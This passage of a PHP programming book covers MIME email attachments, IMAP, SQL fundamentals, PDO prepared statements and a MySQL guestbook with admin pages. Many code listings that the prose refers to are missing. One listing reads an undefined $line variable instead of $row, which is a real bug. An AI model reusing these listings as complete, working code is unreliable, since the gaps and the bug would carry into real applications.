--separator-0815
Content-Type: text/plain; charset="iso-8859-1"
You can of course go one step further—with a file attachment. This can also be done
using multipart/mixed. The actual file is Base64-encoded and integrated as follows:
From: [email protected]
To: [email protected]
Subject: MIME message
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="separator-0815"
MIME64encoded==
--separator-0815--
Appendix, which is also not visible
The corresponding code is a bit more flexible. At the beginning of the script, a file is
read in from the hard disk, converted to Base64 with base64_encode(), and then inte-
grated into the mail.
<?php
$filecontent = base64_encode(file_get_contents("php.gif"));
$mailtext = 'Preamble, which is not visible, except for very old clients
--separator-0815
Content-Type: text/plain; charset="iso-8859-1"
%%FILECONTENT%%
--separator-0815--
';
$mailtext = str_replace("%%FILECONTENT%%", $filecontent, $mailtext);
mail(to: "[email protected]",
subject: "MIME mail with attachment",
message: $mailtext,
additional_headers: "MIME-Version: 1.0\nContent-type: multipart/mixed;
boundary=\"separator-0815\"");
?>
For reasons of convenience, a placeholder for the file is first placed in the $mailtext
variable. This placeholder is then replaced with the Base64-encoded file content using
str_replace().
As shown in Figure 16.10, the mail program has only attached the graphic and has not
displayed it directly (Thunderbird does render it, but after the actual mail text). How-
ever, there are scenarios in which the integration of a graphic is actually desired. One
example of this is HTML emails. Graphics are often integrated there (especially in
advertising emails, but that's another topic). There are two ways to realize this:
쐍 Use of absolute, external URLs:
The cid:ID_of_the_graphic format is standardized. The cid: is fixed; you only need to
define the CID (Content-ID) of the graphic. This can also be done via mail headers. Here
is an example:
From: [email protected]
To: [email protected]
Subject: MIME message
MIME-Version: 1.0
Content-type: multipart/alternative; boundary="separator-0815"
MIME64encoded==
--separator-0815--
Credits, which are also not visible
<?php
$filecontent = base64_encode(file_get_contents("php.gif"));
$mailtext = 'Preamble, which is not visible, except for very old clients
--separator-0815
Content-Type: text/html
%%FILECONTENT%%
--separator-0815--
';
$mailtext = str_replace("%%FILECONTENT%%", $filecontent, $mailtext);
mail(to: "[email protected]",
subject: "MIME mail with attachment",
message: $mailtext,
additional_headers: "MIME-Version: 1.0\nContent-type: multipart/
alternative; boundary=\"separator-0815\"");
?>
This should end the excursion into the “hidden secrets” for MIME and PHP. You have
seen how you can more or less easily create emails that not only contain plain text, but
also graphics and file attachments. Note, however, that HTML emails take up consider-
ably more storage space. In addition, many rampant email viruses have been able to
spread easily thanks to HTML emails (or the faulty implementation of some email cli-
ents). As a result, users often either do not open HTML emails at all or only read the
alternative text message version. Unfortunately, many senders forget to include alter-
native text. So if you absolutely have to use HTML emails, use multipart/alternative
and also create a text version of the email.
Note
So that the integrated graphic from Figure 16.11 is not also shown as an attachment,
you must use multipart/alternative, as shown in the example!
extension = imap
In the output of phpinfo(), the entry of the library will appear (see Figure 16.12).
Note
As of PHP version 8.4, the IMAP extension will be moved to PECL and must be obtained
from there (https://pecl.php.net/package/imap); it will then no longer be automati-
cally included in the PHP distribution.
As an example, the following code establishes a connection to an IMAP server and out-
puts a list of all mails located there (see Figure 16.13). The following also applies here:
The credentials used are fictitious; use your own!
<?php
$inbox = imap_open("{imap.xy.zzz:143}INBOX", "user", "password");
echo "<p><b>Email Headers</b><br />";
$mails = imap_headers($inbox);
foreach($mails as $key => $value) {
echo htmlspecialchars($key) . ": " . htmlspecialchars($value) .
"<br />";
}
echo "</p>";
imap_close($inbox);
?>
In the beginning ... was IBM. In the 1970s, IBM developed the Structured English Query
Language (SEQUEL), a query language that made it possible to communicate with a
database "in English." This became SQL, which has since become a standard. The termi-
nology is a constant source of confusion. Many programmers, especially older ones,
still pronounce SQL as sequel, probably because they were still familiar with the old
standard. Others are of the opinion that SQL stands for Structured Query Language—
but there is no mention of this in the standard. SQL is therefore SQL, nothing more and
nothing less.
The relevant versions of the standard are SQL:1992 (also known as SQL-92) and
SQL:1999, named after the year of publication. The latest version is SQL:2023, with
SQL:2003, SQL:2006, SQL:2008, SQL:2011, and SQL:2016 in between. The degree of
implementation of the various databases has always been different. However, only a
few commands are sufficient for the essential tasks, especially in web programming.
This brings us straight to the main limitation: SQL is very powerful, and in many details
the individual manufacturers of the various databases (or more properly, database sys-
tems) each make up their own variations. It is therefore very difficult to work out all the
differences here in a concise form.1
In Part IV of this book, beginning with this chapter, you will find information about all
the main databases and how to control them with PHP. To this end, we will demon-
strate standard tasks, go into the special features of the individual databases, and—to
ensure good comparability—provide a consistent example at the end of each chapter.
It would be somewhat tedious to go back over the basics of SQL in every chapter. For
this reason, we have opted for a different approach: In this chapter, you will learn all the
essentials about SQL. We make no claim to completeness, but after reading this chapter
you will have the tools to understand all the other database examples in this chapter
1 One book that attempts this endeavor is SQL in a Nutshell, published by O'Reilly. However, the
authors of this highly recommended book need several hundred pages to explain the small but
subtle differences in SQL support among Microsoft SQL Server, MySQL, Oracle and PostgreSQL, and
so on.
and much more. For the very specific details of individual databases, we refer you to
specialized literature or to the documentation of the respective products. This book is
primarily about PHP.
You usually enter the code in this chapter into an administration tool that is supplied
with the database you are using; alternatively, you can also send the SQL commands
directly to the database—using PHP, of course. You can find out how to do this in the
specific database chapters.
has become common practice to introduce a new column containing the consecutive
number of the entry; this ensures uniqueness. Table 17.2 is the updated form.
Most databases offer a separate data type for such artificially generated primary keys, a
so-called autovalue. Whenever you insert a new data record into the table, the
autovalue is incremented by 1. This ensures that every new entry in the table has a new
number that is one higher. So you don't have to worry about anything in this respect;
the database takes care of everything.
INT Integer
TIMESTAMP Timestamp
Each database manufacturer might provide a variant at this point—for example, by add-
ing other data types. The same applies here as for the interoperability of web services:
You are best off (in terms of easy portability) if you only use the standard data types.
With the CREATE DATABASE SQL command (capitalization is common, but not mandatory)
you can create a database, and use CREATE TABLE to create a table. In the latter case, you
specify all column names and the data type. Depending on the database, there is a differ-
ent name or data type for auto values—for example, AUTO INCREMENT or IDENTITY(1):
Note
Normally, all database commands are terminated with a semicolon. However, this is
usually only relevant if you want to pack several statements into one. The semicolon is
not necessary for individual statements that you may also send to the database via
PHP.
Tip
There is also a short form:
INSERT INTO <table name> VALUES (<value1>, <value2>, <value3>)
Here you only enter the values, not the column names. To do this, you naturally need
the values in the correct order—namely, in the order in which the columns were
defined. In this example, however, this is not really practical as you do not fill the id
column manually but leave the filling to the database's autovalue mechanism. Alterna-
tively, you can pass an empty string.
This query selects (SELECT) everything (*) from (FROM) the table and returns it (see Table
17.4).
This is fast, simple—and of course not at all performant, because everything really is
returned.
If you only need parts of the data, you should explicitly specify the columns you would
like to have. To stay with the guestbook example: You do not need the id field to output
all entries:
The result can also be sorted. The SQL keyword for this is ORDER BY, followed by specify-
ing the column to be sorted by. The sorting direction also can be specified: ASC for
ascending (default) and DESC for descending:
SELECT name, email, date, entry FROM entry ORDER BY date DESC
It is also possible to sort by several columns. The following query sorts first by the
name of the contributor (ascending), then by date (descending):
SELECT name, email, date, entry FROM entry ORDER BY name ASC, date DESC
The previous queries always returned all rows from the table. But often, you are only
looking for a selection of all the data. The WHERE clause can be used for this. Behind it,
you specify one or more conditions that must be fulfilled by the data to be returned. All
Boolean expressions are possible, including OR and AND. Here you can see a query that
returns all of Tobias's entries (well, the only one):
When using LIKE, you can also use placeholders and wildcards: _ stands for any charac-
ter, while % stands for any number of characters:
All data records are returned because both "Christian" and "Tobias" fulfill the condi-
tion '%a_': There are any number of characters, followed by an "a" and then any char-
acter at the end.
Tip
If you want to search explicitly for the characters _ or % when using LIKE, you must
enclose them in square brackets. This statement returns all entries that contain a per-
cent sign:
SELECT * FROM table WHERE column LIKE '%[%]%'
If, for performance reasons, not all database entries are to be displayed in a web appli-
cation, but only the most recent ones, then the PHP code is naturally only interested in
some of the data. Unfortunately, there are differences among the various databases.
Each supports a functionality to return the first X data records, as Table 17.11 shows.
Database Command
make the changes in all table rows. You therefore usually need an additional WHERE
clause. Here is an example in which Tobias’s (fictitious) email address is changed:
Note
You can also get rid of the entire table:
DROP TABLE entry
Note
This is of course a very contrived example: You need a special form of guestbook, one in
which only logged-in and registered users are allowed to write entries. Otherwise, it is
not possible to decide whether two entries by a "Christian" are from one and the same
person or not.
We therefore have two tables, one for the entries (see Table 17.14) and one for the users
(see Table 17.15).
Note
Every database administrator has their own scheme for naming the autovalue of a
table. Some always use id, while others use <table name>_id (i.e., in the example,
entry_id and user_id).
The tables are related to each other through the foreign key. This is why this is referred
to as a relational data model. This relationship can also be displayed in the graphical
administration tools of the various database systems. Figure 17.1 shows the (simplified)
table layout in a database designer. The connecting line shows the foreign key.
user entry
PK id INT PK id INT
entry VARCHAR(100)
17.6.2 Joins
The new database design offers conceptual advantages, but some queries are now more
difficult. For example, it would be interesting to get all the entries (date, text) that
Christian has written. Of course, you know from the earlier code that Christian's ID is 1,
but this is not so easy with a general query.
A simple solution to the problem would be to start two queries: First determine Chris-
tian’s ID, then construct a corresponding SELECT command from this value. But you can
also use a single statement. To do this, you must join the two tables together. There are
multiple types of joins (inner, outer, left, right), but only the most important ones will
be dealt with here. The following SELECT query determines all of Christian's entries:
Tables entry and user are therefore linked. The connection condition is that the user ID
in table entry (foreign key) is the primary key in table user. You must specify table user
in the after FROM, even if you do not read a value directly from the table—you use this
table in the WHERE condition list. You must also write nonunique column names (such as
"id") in dot syntax: <table>.<column>. In our opinion, this form of join is the most intu-
itive (this is called the theta style). However, there is a slightly longer version:
This returns 3 because there are three table entries. You can also specify a column name
in the brackets, in which case all values other than NULL are counted.
A special form is COUNT DISTINCT. This counts the number of different values:
Here we get the value 2 because the three entries in the table come from two different
people. There are several other such aggregate functions, but these are only relevant for
numerical values. For example, MIN and MAX return the minimum and maximum value
of a column, SUM returns the sum, and AVG the average value.
In conjunction with GROUP BY for grouping results, you can also master more complex
queries. Here is a task: Determine the names of all guestbook members and the num-
ber of their entries. Query the database as usual using JOIN and then group by name.
The number of entries is then added up and displayed in groups:
user.name COUNT(entry.user_id)
Christian 2
Tobias 1
Note: Aliases
To save typing, there is an abbreviation option. In the FROM list of all tables and also in
JOIN, you can enter a short form after the table name and use this anywhere in the
statement:
SELECT b.name, COUNT(e.user_id) FROM entry e
JOIN user b ON e.user_id = b.id
GROUP BY b.name
You can use another form of alias for the column names in the SELECT query. The out-
put (see also Table 17.17) always contains the column name or the name of the aggre-
gate function. This can be cumbersome when controlling with PHP. For this reason, you
can specify practical alias names by using the AS keyword:
SELECT b.name AS Name, COUNT(e.user_id) AS Quantity FROM entry e
JOIN user b ON e.user_id = b.id
GROUP BY b.name
Name Quantity
Christian 2
Tobias 1
17.6.4 Transactions
Imagine you work at a bank, are responsible for online banking, and manage user
accounts via a SQL database. When a user logs in and makes a transfer, the following
probably happens in your code:
A good plan, but it could fail if a tricky user logs in twice and executes their transfers
almost simultaneously. Then it can happen that the two SELECT commands are exe-
cuted first, followed by the UPDATE commands. If you still have $30 in your account, you
could transfer $20 twice.
For this reason, it is sometimes important that several SQL statements are executed
together in one unit. This unit is called a transaction.
Transactions rely on the ACID principle. The ACID principle describes four conditions
that a transaction must fulfill:
쐍 Atomicity
Either the complete transaction is carried out or nothing at all. "Half measures" are
not possible.
쐍 Consistency
The database is in a valid state before and after a transaction (foreign key conditions
are not violated, etc.).
쐍 Isolation
The transaction takes place in isolation; that is, no intermediate status of the trans-
action can be viewed from the outside, only the initial and final status.
쐍 Durability
Once a transaction has been successfully completed, the changes are permanent.
Not all databases support transactions, and it does not always make sense to rely on
transactions as they usually require more performance. The following transaction
inserts two database entries at once:
BEGIN TRANSACTION
INSERT INTO entry (user_id, date, entry) VALUES
(2,
'2025-01-04',
'Then do something about it! ')
INSERT INTO entry (user_id, date, entry) VALUES
(1,
'2025-01-05',
'We can post childhood photos of you? On the other hand ... ')
COMMIT
GO
On COMMIT and GO, the changes are sent to the database. Most databases use autocom-
mit; that is, all SQL commands are sent directly to the database. However, this behavior
can be changed. The counterpart of COMMIT is ROLLBACK, which reverses the transaction
steps that have already been carried out.
The parameters for the stored procedure can be used within the procedure by their
name.
Tip
The getdate() function used in the SQL command is a function integrated into some
databases that returns the current date.
This has given you a first insight into database programming. The SQL commands
shown in this chapter enable you to create standard applications and much more. You
will find many of the elements shown here in the next chapters. There will also be a
guestbook example again—but for the sake of simplicity, only with one table.
Before we turn to the "main databases" for use with PHP, we will first show a general
approach. There are various so-called abstraction classes for databases under PHP on
the web. In principle, this is a very sensible approach: the individual modules for
MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL, and others all behave simi-
larly, but not in the same way. There are always small differences in the control—
including, of course, different names. This is not a problem in itself. However, it
becomes difficult when the database changes. When using a database-specific module,
reprogramming is now largely on the agenda. Using an abstraction class is a different
matter. Here, you only need to change the name and type of the database; the rest of
the application continues to run as before.1
So are abstraction classes the philosopher's stone and the specific modules actually not
recommended at all? Unfortunately, no. As in so many places, in PHP in particular or
web development in general, it depends very much on the requirements of a project.
The following arguments can sometimes speak strongly against the use of an abstrac-
tion class:
쐍 If there are no long-term plans to migrate to another database system, it is not worth
using an abstraction class. However, be aware that this will probably only apply to a
few applications. What do you do if, for example, your host switches from MySQL to
SQLite (an unrealistic assumption, of course)? What do you do if the SQLite package
from your host is significantly cheaper than the Oracle package (a somewhat more
realistic assumption)?
쐍 Almost all abstraction classes are written in PHP and therefore place a layer to be
interpreted between the actual PHP code and the database-specific PHP modules. In
other words: the abstraction class can be slow.
쐍 Due to the data that must be cached in the abstraction class for a query in PHP, for
example, these classes are generally more resource-intensive than if you were to use
PHP modules directly.
1 Admittedly, this is wishful thinking as subtleties in the SQL code often change—so switching to a
different database system is not always painless, even with abstraction classes.
As you can see, it all depends on what you want to achieve. In this chapter, we introduce
the database abstraction module directly integrated into PHP: PDO.
Wez Furlong (the former "King of PECL"), Marcus Boerger, Ilia Alshanetsky, and George
Schlossnagle once joined forces and developed PHP Data Objects (PDO). This is a PECL
module (i.e., written in C) that provides standardized access to all supported databases.
The medium-term goal is for PDO to become the standard data access layer for PHP and
then internally redirect the database calls to the corresponding database-specific func-
tions.
18.1 Preparations
You can use PDO directly; it is included with PHP. However, this alone is not much use
as you also need a driver for your database system. At the time of publication, there
were the following options:
쐍 PDO_4D (http://pecl.php.net/package/PDO_4D) for the 4D SQL database
쐍 PDO_CUBRID (http://pecl.php.net/package/PDO_CUBRID) for the CUBRID database
쐍 PDO_IBM (http://pecl.php.net/package/PDO_IBM) for IBM databases
쐍 PDO_INFORMIX (http://pecl.php.net/package/PDO_INFORMIX) for Informix data-
bases
쐍 PDO_SQLANYWHERE (http://pecl.php.net/package/PDO_SQLANYWHERE) for SAP
SQL Anywhere from Sybase
쐍 PDO_SQLSRV (http://pecl.php.net/package/PDO_SQLSRV) for Microsoft SQL Server
using ODBC
These packages are also installed with pecl install <package name>.2
Additional PDO drivers are included with PHP and can be installed via extension=
<package name> in php.ini:
쐍 PDO_FIREBIRD for Firebird
쐍 PDO_MYSQL for MySQL
쐍 PDO_OCI for Oracle
쐍 PDO_ODBC for ODBC data sources
2 Sometimes you also need the -f switch so that versions not yet marked as stable are also installed.
For Windows, there may be separate installation instructions or even a reference to existing bina-
ries in the respective database description.
A special case is PDO_DBLIB, a PDO driver for Microsoft SQL Server. This does not work
under Windows, of all things; however, there is an alternative open-source driver from
Microsoft (see also Chapter 21).
Note
The drivers require the PDO package as a prerequisite. In earlier PHP versions, you still
had to include it in php.ini via extension=pdo. This is no longer necessary as PDO is
already present. However, you still need to install the required drivers and add them to
php.ini.
Windows users have (for most drivers) an almost even more convenient option. The
binary distribution already contains the corresponding DLL files with the following
names:
쐍 php_pdo_firebird.dll
쐍 php_pdo_mysql.dll
쐍 php_pdo_oci.dll
쐍 php_pdo_odbc.dll
쐍 php_pdo_pgsql.dll
쐍 php_pdo_sqlite.dll
--with-pdo<database type>
Note
Depending on the database, further installation steps may be necessary. For example,
the PDO driver for the Microsoft SQL Server requires the presence of the PHP extension
from Microsoft for this database (see also Chapter 21). You should therefore always
check the online manual for the current requirements for the PDO driver of your choice.
Everything is already available in PHP for the three main databases: MySQL, Postgre-
SQL, and SQLite.
Database type(syntax)://user:password@host/database?option1=value1&option2=value2
sqlite:file.db
mysql:dbname=database name;host=localhost
We use the PDO driver for MySQL ahead. However, you can also use any other PDO
extension as the rest of the API is identical! This is precisely one of the highlights of
PDO.
18.2.2 Queries
The PDO object is instantiated using new. The exec() method executes SQL commands.
You can now create a database table and fill it with data as in the following listing.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "CREATE TABLE my_table (
id INTEGER PRIMARY KEY NOT NULL auto_increment,
field VARCHAR(1000)
);";
$db->exec($sql);
$sql = "INSERT INTO my_table (field) VALUES ('value10');";
$db->exec($sql);
$sql = "INSERT INTO my_table (field) VALUES ('value11');";
$db->exec($sql);
?>
If you have a static INSERT command as in the example, then everything is fine. It
becomes dangerous if you fill parts of the SQL command with user input. As Chapter 32
shows, there are many dangers if there are special characters such as apostrophes in the
user input. Here is a brief illustrative example:
What if the queried form value is Rasmus' invention, for example? Then $sql would
have the following value:
This is syntactically incorrect and leads to an error; Chapter 32 shows even scarier
attack possibilities.
It is therefore important to know about masking user input, similarly to how this is
realized, for example, in the output of all data in many examples in this book with html-
specialchars(). Unfortunately, there is no statement for SQL strings that works com-
pletely database-independently (addslashes() is not an option).
But there is an even better option, which is both somewhat faster and clearer. At all
points in the SQL command where you insert data dynamically, use only placehold-
ers—parameter names preceded by a colon, without apostrophes:
But what takes the place of the placeholders? You handle this in several steps:
1. Prepare the SQL command (with placeholders) for processing by the database using
the prepare() method.
2. Use the bindParam() method to bind the method to the parameters (these values
must be in the form of variables because these variables are bound as a reference).
3. Use the execute() method to finally execute the command.
This is a very practical (and usually also very high-performance) option, which is why
we are showing another complete listing, this time with a so-called parameterized
query.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "INSERT INTO my_table (field) VALUES (:fieldvalue);";
$command = $db->prepare($sql);
$value = 'value12';
$command->bindParam(':fieldvalue', $value);
$command->execute();
echo 'Data entered.';
?>
Note
Alternatively, it is also possible to pass the parameter values to execute() as an array—
but then without the colons:
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "INSERT INTO my_table (field) VALUES (:fieldvalue);";
$command = $db->prepare($sql);
$command->execute(['fieldvalue' => 'value13']);
echo 'Data entered.';
?>
And another shortcut: Instead of parameter names with a colon, question marks are
also possible. An indexed array is then sufficient as a parameter for execute():
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "INSERT INTO my_table (field) VALUES (?);";
$command = $db->prepare($sql);
$command->execute(['value13']);
echo 'Data entered.';
?>
The next step is new: The fetch() method reads the current row of the table. You pass
the mode as a parameter. You can obtain the relevant modes (associative or as an
object) via the PDO::FETCH_ASSOC/PDO::FETCH_OBJ constants. The code in the following
listing reads the values that have just been entered.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "SELECT id, field FROM my_table WHERE id <> :id;";
$command = $db->prepare($sql);
$value = 0;
$command->bindParam(":id", $value); //value for parameter
$command->execute();
echo "<ul>";
while ($line = $command->fetch(PDO::FETCH_OBJ)) {
echo "<li>" . htmlspecialchars($line->id) .
": " . htmlspecialchars($line->field) . "</li>";
}
echo "</ul>";
?>
Reading data without placeholders or parameters is even easier. The query() method
returns a query object again. This can simply be iterated over using foreach; with each
run, one line of the result list is available as an associative array.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$sql = "SELECT id, field FROM my_table";
$result = $db->query($sql);
echo "<ul>";
foreach ($result as $row) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($line["field"]) . "</li>" ;
}
echo "</ul>";
?>
Listing 18.4 Reading a Table with PDO and without Parameters ("pdo-read.php")
The following short example pushes two values into the database.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
exit();
}
$db = new PDO("mysql:dbname=compendium;host=localhost",
"user",
"password");
$db->beginTransaction();
$sql = "INSERT INTO my_table (field) VALUES ('value13');";
$db->exec($sql);
$sql = "INSERT INTO my_table (field) VALUES ('value14');";
$db->exec($sql);
$db->commit(); //only now the SQL is executed!
?>
18.3 Guestbook
A small application example follows here. It implements something very simple, but
also commonplace and therefore relevant to practice. Despite the simple structure, all
the essential elements of database programming are built into the functionality.
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
$sql = "CREATE TABLE guestbook (
id INTEGER AUTO_INCREMENT PRIMARY KEY,
heading VARCHAR(1000),
entry VARCHAR(5000),
author VARCHAR(50),
email VARCHAR(100),
date TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";
$db->exec($sql);
echo "Table created.";
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
$sql = "INSERT INTO guestbook
(heading,
entry,
author,
email)
VALUES (?, ?, ?, ?)";
$values = [
$_POST["Heading"],
$_POST["Comment"],
$_POST["Name"],
$_POST["Email"]
];
$command = $db->prepare($sql);
$command->execute($values);
echo "Entry added.";
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" /><br />
Email address <input type="text" name="Email" /><br />
Heading <input type="text" name="Heading" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"></textarea><br />
<input type="submit" name="Submit" value="Submit" />
</form>
</body>
</html>
After reading out the data, an extensive printf() statement ensures that everything
appears nicely formatted (see Figure 18.3). Of course, all data from the database is pre-
treated with htmlspecialchars() so that special characters are also displayed correctly.
The following listing contains the code.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = $db->query($sql);
foreach ($result as $row) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row['email']),
htmlspecialchars($row['author']),
htmlspecialchars($row['date']),
htmlspecialchars($row['heading']),
nl2br(htmlspecialchars($row['entry']))
);
}
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?>
</body>
</html>
Tip
The entries in the multiline text field can also contain line breaks that are not converted
into <br /> elements by htmlspecialchars(). The nl2br() function provides a remedy
here.
This means that the guestbook itself is already complete. However, an administrator
should be able to edit entries at a later date—for example, to take action against
obscenities.
When deleting, another link is first displayed for security reasons, so that two mouse
clicks are required:3
Only then does the script send the DELETE statement, again using a placeholder (in the
WHERE clause). So not much happens, but there are still over 50 lines in total.
3 We are aware that we are still exposing the application to the risk of cross-site request forgery. In
Chapter 32, you will find further information on this attack—and countermeasures.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_GET["id"]) && is_numeric($_GET["id"])) {
if (isset($_GET["ok"])) {
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
$sql = "DELETE FROM guestbook WHERE id=?";
$values = [$_GET["id"]];
$command = $db->prepare($sql);
$command->execute($values);
echo "<p>Entry deleted.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a> </p>";
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
} else {
printf("<a href=\"gb-admin.php?id=%s&ok=1\">Really delete?
</a>", urlencode($_GET["id"]));
}
} else {
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = $db->query($sql);
foreach ($result as $row) {
printf("<p><b><a href=\"gb-admin.php?id=%s\">Delete this
entry</a> - <a href=\"gb-edit.php?id=%s\">
Edit this entry</a></b></p>
<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row["id"]),
urlencode($row["id"]),
htmlspecialchars($row["email"]),
htmlspecialchars($row["author"]),
htmlspecialchars($row["date"]),
htmlspecialchars($row["heading"]),
nl2br(htmlspecialchars($row["entry"]))
);
}
} catch (PDOException $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
}
?>
</body>
</html>
Figure 18.4 The New Overview, Including Links to Delete and Change
Note
We use techniques from Chapter 13 here. The tactic is similar to the completeness
check and prefilling of forms: An initially empty variable is created for each form field.
These variables are then filled with values, either from $_POST or from the database,
depending on the context. Finally, these variables are used to prefill the form fields.
4 Because the administrator has access to the database, he can always do this anyway; the PHP script
just makes the process much more convenient.
When the user sends the (prefilled) form, this leads to an UPDATE SQL command. The
data is then returned to the database. The only field that cannot be changed in this way
is the timestamp of the entry.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
try {
$db = new PDO("mysql:dbname=PHP;host=localhost",
"user",
"password");
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = "UPDATE guestbook SET
heading = ?,
entry = ?,
author = ?,
email = ?
WHERE id=?";
$values = [
$_POST["Heading"],
$_POST["Comment"],
$_POST["Name"],
$_POST["Email"],
$_GET["id"]
];
$command = $db->prepare($sql);
$command->execute($values);
echo "<p> Entry changed.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a>
</p>";
}
The functional guestbook and administration area are ready. It goes without saying
that you must protect the gb-admin.php and gb-edit.php scripts so that unauthorized
persons cannot access them. You can find tips and techniques for this in Chapter 33.
MySQL is considered the default database for PHP; some even think that PHP works
particularly well with MySQL (which is debatable) or that PHP only supports MySQL
(which is completely wrong, as the next five chapters will show). As a result, there are
numerous books on the market called PHP and MySQL or something similar—includ-
ing this one. And indeed, MySQL is the database that is used together with PHP in the
vast majority of cases. But in this book we want to go further than many others and
therefore present all relevant databases and their control via PHP.
Earlier PHP versions also supported MySQL with their own extension, mysql. However,
one of the highlights of PHP version 5 was a completely new MySQL extension, mysqli.
The i stood for improved or, as cynics like to point out, for incompatible or incomplete—
although the latter explanation is not correct. Both extensions can run in parallel, but
they have different function names. The old MySQL extension offers functions with
the name mysql_*(), while the new extension offers mysqli_*(). In most cases, the func-
tions have the same names. Simply because the old MySQL extension has already been
removed in PHP 7, in this chapter we will only deal with the newer, better, and faster
extension for MySQL, mysqli.
Incidentally, MySQL has since been bought by Oracle. Some developers feared that Ora-
cle would no longer take care of the database as the company already has its own data-
base system (see also Chapter 22). For this reason, a fork was made from the MySQL
source code. This fork is called MariaDB. It is therefore possible that there is still move-
ment in the database market.
19.1 Preparations
First, you need to install MySQL. The source code and binary packages are available for
download at www.mysql.com/downloads; at https://dev.mysql.com/downloads/mysql,
for example, you will find the community edition of the database server, which is
available free of charge for everyone. Mac users will also find what they are looking for
here. With Linux and the like, most distributions automatically provide a reasonably
up-to-date MySQL version anyway. Under Windows, the installation is menu-driven
and you can select the components to be installed individually (select the Custom
installation type; see Figure 19.1).
You are offered two installers on the download page: The smaller one downloads all the
required packages from the internet, while the larger one has everything included and
can be used offline.
Note
As of MySQL version 8, there is a new way of encrypting passwords. Using it is recom-
mended in principle, but it also requires that the remote site use at least version 8 of
the MySQL client libraries. PHP is compatible in all current versions.
Among other things, you will be asked to enter a password (as secure as possible!) for
the MySQL administrator user; this user is called root. You can also run MySQL auto-
matically as a service when Windows starts. If you do this and look at Windows Task
Manager after the installation, you will see that a MySQL service is actually running
(see Figure 19.2).
Incidentally, you can change this behavior. In the Windows Control Panel, under Admi-
nistration 폷 Services, you can adjust the startup behavior of the MySQL service. For
example, you can prevent it from starting automatically or stop it temporarily (see
Figure 19.3).
Under other operating systems, it is similarly simple. Either you use one of the ready-
made RPM packages, which you can either find on the MySQL website itself or which
comes from the provider of your favorite distribution:
Or you can use the source code directly and compile by hand, but this is not usually
necessary at this point.
For macOS, there is a convenient installation package that is embedded in a DMG
image (see Figure 19.4). So you should not encounter any problems here either.
Tip
With macOS, MySQL may even already be installed! Check first to see if you can possi-
bly save yourself the installation step.
Once MySQL has been installed, you will naturally be interested in using a graphical
user interface to conveniently administer MySQL, as the command line tool (mysql) is
relatively cumbersome to use. MySQL itself offers several products for this purpose.
The best known is MySQL Workbench, which you can see in Figure 19.1 in the Windows
installer. A separate download of the product (for various operating systems) is avail-
able at https://dev.mysql.com/downloads/workbench/.
In MySQL Workbench (see Figure 19.5), you should first create a new user (we use the
